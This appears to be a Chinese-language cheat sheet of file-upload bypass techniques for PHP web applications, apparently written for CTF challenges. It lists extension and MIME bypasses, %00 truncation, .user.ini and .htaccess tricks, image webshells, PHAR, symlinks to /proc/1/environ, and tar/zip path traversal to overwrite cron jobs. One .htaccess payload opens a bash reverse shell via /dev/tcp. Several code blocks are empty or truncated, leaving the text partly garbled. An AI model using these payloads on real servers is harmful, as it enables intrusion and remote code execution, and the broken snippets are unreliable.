文件上传
上传绕过
前端JS验证
直接丢给 AI / 改包。
MIME类型检测
修改包即可。
文件后缀检测
可用后缀:
1 | php、php3、php4、php5、php7、pht、phtml、phps |
大小写绕过
%00 截断:
a.php{hex(00)}jpg
代码漏洞点就在于 用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方 ,因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg),这样就通过了白名单校验 并且保存成了php文件
这里就要用到0x00截断的知识url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。
本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。
用 bp 可以看是否在 url 中,如果在 %00,如果不在,用HEX模式修改空格或加号的 HEX值 。
配置文件修改
.user.ini
要求服务器使用CGI/FastCGI模式
1 | GIF89a |
1 | GIF89a |
1 | GIF89a |
.htaccess
仅要求 apache,不能使用 GIF89a。
1 | #define width 1; |
1 | payload = '?filename=.htaccess&content=php_value%20auto_prepend_fi\\%0Ale%20".htaccess"\n%23<?php system(\'bash -c "/bin/bash -i >%26 /dev/tcp/ip/port 0<%261"\');?>\\' |
1 | AddHandler p\ |
内容头校验


变形一句话
1 | GIF89a |
PHAR
phar + include => RCE
phar 触发反序列化
phar 读压缩包内的文件:
1 | file_get_contents("phar://1.zip/1.txt") |
超长文件名截断上传
windows - 258 byte | linux - 4096 byte,使用 ./ 或 .。
图片马与二次渲染
简单图片马
1 | copy 1.jpg/b + 1.php/a 2.jpg |
二次渲染
gif
一般直接修改就行。
png
1 |
|
文件条件竞争
上传后,趁着还没删除多线程读/执行。
jpg
需要使用专用的图,否则容易失败。
1 |
|
压缩包
软连接
1 | ln -s /proc/1/environ env.txt |
解压失败
超长文件名
1 | import zipfile |
文件名长度大于4096 就可以解压失败,而对于那些解压全部成功后再判断内容的题目,可以解压出部分文件。
恶意同名文件与文件夹
1 | zip -y evil.zip yjh.php |
PHP ZipArchive库
ZipArchive容忍度比较高,可以在文件名上下功夫。
比如,Windows下不允许文件名中包含冒号(:),可以在010editor中将2.txt的deFileName属性的值改成2.tx:,此时解压就会出错,但1.php被保留了下来。
在Linux中也有类似的方法,可以将文件名改为5个斜杠(/////),此时Linux下解压也会出错,但1.php被保留了下来。
例:
1 | zip ok.zip muma.php 1.txt |
目录穿越
tar
tar_file.extractall():解压 .tar 文件的 extractall() 方法未指定安全检查,因此如果 .tar 文件包含特意构造的文件路径(如 ../../),则攻击者可以将文件解压到任意目录,甚至覆盖系统中的敏感文件。
这里是覆写计划任务
1 | import tarfile |
zip
1 | import zipfile |
ZipArchive.addGlob remove_path
虚假的 PHP ZipArchive::addGlob 与损坏的文件路径 — 嘘つきPHP ZipArchive::addGlobと壊れたファイルパス
1 | $zip->addGlob($dir, 0, ['add_path' => $add_path, 'remove_path' => $remove_dir]);//add_path 和 remove_path 缺一不可 |
remove_dir 不会实际的删除,而是从 $dir 前截取 $remove_dir 的长度+1的字符进行删除(也就是说 PHP 默认你填的是 /tmp 这种路径),然后再和 $add_path 进行拼接。
例子:
1 | $zip->addGlob("/tmp/tmp", 0, ['add_path' => "/var/www/html/", 'remove_path' =>"/tmp//" ]); |
最后结果是 /var/www/html/p。